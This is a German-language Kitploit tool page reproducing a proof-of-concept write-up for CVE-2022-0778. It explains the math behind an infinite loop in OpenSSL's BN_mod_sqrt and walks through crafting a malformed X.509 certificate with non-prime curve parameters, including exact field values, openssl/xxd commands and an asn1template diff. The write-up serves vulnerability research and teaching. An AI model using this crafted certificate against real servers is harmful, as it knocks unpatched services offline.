Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-0778 — Proof-of-Concept-Exploit für CVE-2022-0778, der eine Endlosschleife in OpenSSLs BN_mod_sqrt über ein manipuliertes X.509-Zertifikat mit Nicht-Prim-Kurvenparametern demonstriert und Denial-of-Service-Angriffe ermöglicht. | Kitploit
Tools/GitHubGitHub/drago-96/cve-2022-0778
SchwachstellenanalyseExploitationKryptographieBinäranalysePapers & ForschungLernen & Bildung
GitHubdrago-96/cve-2022-0778

CVE-2022-0778

Proof-of-Concept-Exploit für CVE-2022-0778, der eine Endlosschleife in OpenSSLs BN_mod_sqrt über ein manipuliertes X.509-Zertifikat mit Nicht-Prim-Kurvenparametern demonstriert und Denial-of-Service-Angriffe ermöglicht.

Repository anzeigen
181463vor 4 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-0778

Die entdeckte Sicherheitslücke führt zu einer Endlosschleife in der Funktion BN_mod_sqrt() von OpenSSL beim Parsen eines elliptischen Kurvenschlüssels. Das bedeutet, dass ein bösartig erstelltes X.509-Zertifikat einen nicht gepatchten Server mit einem DoS-Angriff lahmlegen kann.

Der Kern der Sicherheitslücke liegt im Parsen von EC-Schlüsseln mit Punkten in komprimiertem Format: Beim Parsen dieser Schlüsselart versucht OpenSSL, den komprimierten Punkt zu expandieren, indem es versucht, eine Quadratwurzel modulo der Primzahl p zu berechnen, über der die Kurve definiert ist. Die Primalität von p wird jedoch nirgends überprüft, nicht einmal in BN_mod_sqrt(), für die sie eine Voraussetzung ist; daher führt ein Fehler in der Implementierung aufgrund von p, das nicht wie erwartet prim ist, zu einer Endlosschleife.

中文版说明可以见我的博客OpenSSL CVE-2022-0778漏洞问题复现与非法证书构造

Credits

  • Tavis Ormandy für die Entdeckung und Offenlegung der Sicherheitslücke
  • Drago für die Veröffentlichung des Tests gegen
BN_mod_sqrt()
  • catbro666 für das tatsächliche Erstellen eines X.509-Zertifikats, das den Server zum Hängen bringt
  • wllm-rbnt für das nützliche asn1template-Tool
  • So testen Sie

    Voraussetzung ist die Installation von gcc und einer verwundbaren Version von OpenSSL.

    Für den Fehler in BN_mod_sqrt(): Kompilieren Sie mit gcc -o my_bad_sqrt my_bad_sqrt.c -lcrypto, führen Sie ./my_bad_sqrt aus und beobachten Sie, wie es für immer hängt! :D

    Mit einem Zertifikat: Führen Sie openssl x509 -in certs/cert.der.new -inform DER -text -noout in der Befehlszeile aus; auch dies führt zum Hängen.

    Die Schleife treffen

    Die Funktion BN_mod_sqrt() implementiert den Tonelli-Shanks-Algorithmus zum Finden einer modularen Quadratwurzel, d.h. gegeben eine ganze Zahl a und eine Primzahl p, gibt sie einen Wert r zurück, so dass r^2 == a (mod p).

    Bei der Analyse des Commits, der die Sicherheitslücke patcht, sehen wir, dass der Übeltäter die Schleife ist, die den kleinsten Index i findet, für den b^(2^i)==1 (mod p) gilt, wobei b zuvor im Algorithmus definiert wird.

    Die Schleife wird geändert von

    root@kitploit:~
    i = 1;
    if (!BN_mod_sqr(t, b, p, ctx))
        goto end;
    while (!BN_is_one(t)) {
        i++;
        if (i == e) {
            ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
            goto end;
        }
        if (!BN_mod_mul(t, t, t, p, ctx))
            goto end;
    }
    

    zu

    root@kitploit:~
    for (i = 1; i < e; i++) {
        if (i == 1) {
            if (!BN_mod_sqr(t, b, p, ctx))
                goto end;
        } else {
            if (!BN_mod_mul(t, t, t, p, ctx))
                goto end;
        }
        if (BN_is_one(t))
            break;
    }
    

    Im zweiten Fall gibt es eine for-Schleife, die durch die Variable e begrenzt ist; im ursprünglichen Code gibt es jedoch nur eine Prüfung auf den Fall i==e innerhalb einer while-Schleife.

    Da diese Schleifen sich innerhalb einer größeren Schleife befinden, die bei jeder Iteration den neuen Wert von e auf den aktuellen Wert von i setzt, versuchen wir die folgende Angriffsstrategie:

    1. Bei der ersten Ausführung der äußeren Schleife erreichen wir, dass am Ende i=1 ist; dafür benötigen wir, dass b^2=1 (mod p).
    2. Auf diese Weise haben wir während der zweiten Ausführung e=1, und wenn wir in die innere Schleife gelangen, wird die Prüfung i==e immer fehlschlagen.
    3. Wenn wir es schaffen, immer t != 1 (mod p) zu haben, bleiben wir für immer in der Schleife.

    Beachten Sie, dass die ersten beiden Schritte tatsächlich in einer „normalen“ Ausführung stattfinden können, d.h. mit einer Primzahl p. Wenn p jedoch zusammengesetzt ist, können wir auch den dritten Schritt erfüllen!

    Ein wenig Mathematik

    Der Tonelli-Shanks-Algorithmus funktioniert, indem er p - 1 = 2^e * q schreibt, mit einem ungeraden q. Dies ist auch die Ordnung der multiplikativen Gruppe der ganzen Zahlen modulo p, und die Werte e und q werden während der Ausführung mehrfach verwendet; wenn p jedoch nicht prim ist, wird die Ordnung der multiplikativen Gruppe nicht p-1 sein, und dies wird uns helfen, in die Endlosschleife zu geraten.

    Insbesondere wird b initialisiert als b = a^q (mod p), was bedeutet, dass, wenn p prim wäre, b die Ordnung einer Potenz von 2 hätte, die wir dann mit der Schleife finden würden.

    Aber wenn wir p = r * s setzen, ist die Ordnung der multiplikativen Gruppe (r-1)*(s-1) = r*s - r - s + 1 anstelle von r*s-1. Der Algorithmus verwendet den q-Wert, um ein Element y mit der exakten Ordnung 2^e zu erhalten; wenn p jedoch nicht prim ist, hat der q-Wert keine besondere Bedeutung für die Ordnung, sodass das Element y keine Ordnung einer Potenz von zwei modulo p=r*s haben wird.

    Da am Ende der ersten äußeren Schleife b gesetzt wird auf b = b*y^(e-i) (mod p), wird die innere Schleife bei ihrer zweiten Iteration versuchen, einen Wert i zu finden, für den b^(2^i) == 1 (mod p) gilt, aber fehlschlagen, da nicht mehr garantiert ist, dass y eine Ordnung hat, die eine Potenz von zwei ist.

    Der Exploit

    Die Zahlen im Exploit sind sehr einfach: Wir nehmen r=17,s=41, was p=r*s=697 ergibt. Dies bedeutet, dass die berechneten Werte von e und q p-1 = 2^3 * 87 sein werden.

    Wir wählen dann a=696, was bedeutet, dass a == -1 (mod p) und auch b == -1 (mod p) bei der Initialisierung. Dies erfüllt Schritt 1, indem e=1 für die folgende äußere Schleife gesetzt wird.

    Dann wird b auf ein Element gesetzt, dessen Ordnung keine Potenz von 2 ist, und die innere Schleife bleibt stecken, während sie versucht, ein i zu finden, für das b^(2^i)==1 (mod p) gilt.

    Erstellen eines gefährlichen Zertifikats

    OK, jetzt lassen Sie uns ein gefährliches Zertifikat erstellen, das ungültige explizite Kurvenparameter mit einem Basispunkt in komprimierter Form enthält.

    Die Dateien dieses Abschnitts befinden sich im Ordner certs.

    Erstellen eines normalen Zertifikats mit expliziten Kurvenparametern

    Zuerst müssen wir einen EC-Private-Key erstellen. Da wir ein Zielzertifikat mit expliziten Kurvenparametern möchten, sollte der Schlüssel ebenfalls explizite Kurvenparameter enthalten.

    root@kitploit:~
    $ openssl ecparam -out ec.key -name prime256v1 -genkey -noout -param_enc explicit -conv_form compressed
    

    Dann haben wir der Einfachheit halber ein selbstsigniertes Zertifikat erstellt und im DER-Format ausgegeben.

    root@kitploit:~
    $ openssl req -new -x509 -key ec.key -out cert.der -outform DER -days 360 -subj "/CN=TEST/"
    

    Lassen Sie uns die Zertifikatsinformationen überprüfen. Es enthält wie erwartet explizite Kurvenparameter.

    root@kitploit:~
    $ openssl x509 -in cert.der -text -noout -inform DER
    ...
                    Field Type: prime-field
                    Prime:
                        00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
                        00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
                        ff:ff:ff
                    A:
                        00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
                        00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
                        ff:ff:fc
                    B:
                        5a:c6:35:d8:aa:3a:93:e7:b3:eb:bd:55:76:98:86:
                        bc:65:1d:06:b0:cc:53:b0:f6:3b:ce:3c:3e:27:d2:
                        60:4b
                    Generator (compressed):
                        03:6b:17:d1:f2:e1:2c:42:47:f8:bc:e6:e5:63:a4:
                        40:f2:77:03:7d:81:2d:eb:33:a0:f4:a1:39:45:d8:
                        98:c2:96
                    Order:
                        00:ff:ff:ff:ff:00:00:00:00:ff:ff:ff:ff:ff:ff:
                        ff:ff:bc:e6:fa:ad:a7:17:9e:84:f3:b9:ca:c2:fc:
                        63:25:51
    ...
    

    Ein ungültiges Zertifikat erstellen

    Jetzt müssen wir die Werte dieser Parameter ändern: Prime, A, B, Generator. Sie erfüllen die folgende Gleichung

    wobei p die Primzahl (Prime) ist, a der Parameter A und b der Parameter B. p, a, b bestimmen zusammen eine Kurve. Das Dekomprimieren eines Punktes bedeutet, die Y-Koordinate aus der entsprechenden X-Koordinate zu berechnen.

    Offensichtlich sollte eine modulare Quadratwurzeloperation verwendet werden, die BN_mod_sqrt() aufruft.

    Basierend auf der Arbeit von Drago-96 nehmen wir p=697, x^3+ax+b=696. Und dann müssen wir nur geeignete a, b, x wählen, die die zweite Gleichung erfüllen. Wir nehmen hier x=8, a=23, b=0.

    OK, jetzt können wir beginnen, das Zertifikat zu bearbeiten. Das manuelle Bearbeiten der ASN.1-Struktur ist wirklich mühsam. Ich habe das Tool xxd verwendet, um das Zertifikat in das Hex-Format umzuwandeln, und es dann mit vim bearbeitet. Nach Abschluss der Bearbeitung habe ich es mit xxd -r zurückgewandelt.

    root@kitploit:~
    $ cp cert.der cert.der.old
    $ xxd cert.der cert.der.hex
    $ cp cert.der.hex cert.der.hex.old
    $ vim cert.der.hex
    # cert.der.hex bearbeiten
    # ...
    # fertig
    $ xxd -r cert.der.hex cert.der.new
    

    Ich habe kein bequemeres Tool gefunden. Falls jemand ein solches Tool kennt, bitte teilen Sie es in den Kommentaren mit.

    Die Schritte zum Erstellen sind grob wie folgt:

    1. Ändern Sie die Werte von Prime, A, B, Generator
      1. Ändern Sie Prime auf 697, d.h. 0x2b9 in hex
      2. Ändern Sie A auf 23, d.h. 0x17 in hex
      3. Ändern Sie B auf 0
      4. Ändern Sie die X-Koordinate des Generators auf 8, d.h. 0x020008 (oder 0x030008) bei Kodierung im komprimierten Format
    2. Da OpenSSL das Padding-Format von ASN1_INTEGER überprüft, sollte Prime keine führenden 0-Bytes enthalten, daher müssen wir die Länge von Prime ändern
    3. Ähnlich vergleicht OpenSSL die Länge von Prime mit der Länge des Punkt-Strings, daher sollte die Länge der X-Koordinate des Generators mit Prime übereinstimmen. Deshalb setzen wir Generator auf 030008 und nicht auf 0308.
    4. Da die ASN.1-Struktur des Zertifikats verschachtelt ist, sollten auch alle Längen der externen Objekte korrigiert werden.
    5. Beachten Sie, dass nach dem Ausführen von xxd -r möglicherweise ein unerwünschtes abschließendes Zeilenumbruch-Zeichen (0x0a) am Ende der Datei vorhanden ist. Entfernen Sie es.

    Werfen wir nun einen Blick auf die ASN.1-Struktur des normalen Zertifikats. Die mit roter Linie markierten Teile sind zu ändern.

    root@kitploit:~
    $ openssl asn1parse -in cert.der -inform DER -i
    

    asn1-structure-of-x509-before

    Die Längen vor und nach der Änderung sind wie folgt aufgeführt:

    von(dec)von(hex)nach(dec)nach(hex)
    5492254881e8
    4601cc39918f
    26610a205cd
    227e3166a6
    215d71549a
    442c130d
    33 Prime21202
    33 Generator21303

    Verwendung von ASN1-Vorlagen

    Aktualisiert am 21.03.2020:

    Eine viel einfachere Methode ist die Verwendung des Tools asn1template von wllm-rbnt.

    Klonen Sie das Repository:

    root@kitploit:~
    $ git clone https://github.com/wllm-rbnt/asn1template.git
    

    Generieren Sie eine DER-Vorlage aus diesem Zertifikat:

    root@kitploit:~
    $ ./asn1template/asn1template.pl cert.der > cert.tpl
    

    Ändern Sie dann die oben erwähnten Parameter:

    root@kitploit:~
    diff cert.tpl cert_new.tpl
    46c46
    < field32 = FORMAT:HEX,OCTETSTRING:036B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296
    ---
    > field32 = FORMAT:HEX,OCTETSTRING:030008
    51c51
    < field36 = INTEGER:0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
    ---
    > field36 = INTEGER:0x2B9
    53,54c53,54
    < field37 = FORMAT:HEX,OCTETSTRING:FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
    < field38 = FORMAT:HEX,OCTETSTRING:5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
    ---
    > field37 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000017
    > field38 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000000
    

    Konvertieren Sie es mit ASN1_generate_nconf(3) zurück in DER-kodiertes ASN1:

    root@kitploit:~
    $ openssl asn1parse -genconf cert_new.tpl -noout -out cert_new.der
    

    Die Ausgabe cert_new.der entspricht der manuell bearbeiteten Version.

    Wir haben nun erfolgreich ein ungültiges Zertifikat erstellt. Sehen wir uns die neue ASN.1-Struktur an:

    root@kitploit:~
    $ openssl asn1parse -in cert.der.new -inform DER -i
    

    asn1-structure-of-x509-after

    Alle roten Teile wurden geändert, und das Zertifikat kann korrekt DER-dekodiert werden.

    Test mit dem ungültigen Zertifikat

    Versuchen wir nun, das Zertifikat zu parsen. Der Prozess wird in die Endlosschleife geraten, wenn alles wie erwartet funktioniert.

    root@kitploit:~
    openssl x509 -in cert.der.new -inform DER -text -noout
    

    infinite-loop-when-parsing-invalid-cert

    Wie gezeigt, beträgt die CPU-Auslastung von openssl 100 %, und der Aufrufstapel befindet sich innerhalb von BN_mod_sqrt().

    Wenn ein böswilliger Angreifer ein solches manipuliertes Zertifikat während des SSL-Handshakes mit dem Server sendet, gerät der Server in die Endlosschleife, was einen DoS-Angriff verursacht.

    Erstellen eines Zertifikats, alternative Methode

    Wir werden versuchen, ein Zertifikat mit der OpenSSL-C-libcrypto-Bibliothek zu erstellen.

    Wie wir gesehen haben, müssen wir eine Kurve mit nicht-prime Basis-Feld verwenden und Punkte in komprimierter Form kodieren, sodass wir beim Parsen auf den Fehler in BN_mod_sqrt() stoßen.

    Dies kann erreicht werden, indem y^2 = x^3 + 1*x + 694 (mod 697) als Kurve mit (1, 132) als Generator gesetzt wird; dies ruft BN_mod_sqrt() mit genau denselben Parametern wie in my_bad_sqrt auf.

    Das Ausführen von gcc -o my_bad_group my_bad_group.c -lcrypto && ./my_bad_group generiert die Datei my_bad_group.der, die die ECparams im DER-Format enthält.

    Der Versuch, diese Parameter mit OpenSSL zu parsen, führt zur Endlosschleife: openssl ecparam -in my_bad_group.der -inform der.

    ... WIP ...

    Tool herunterladen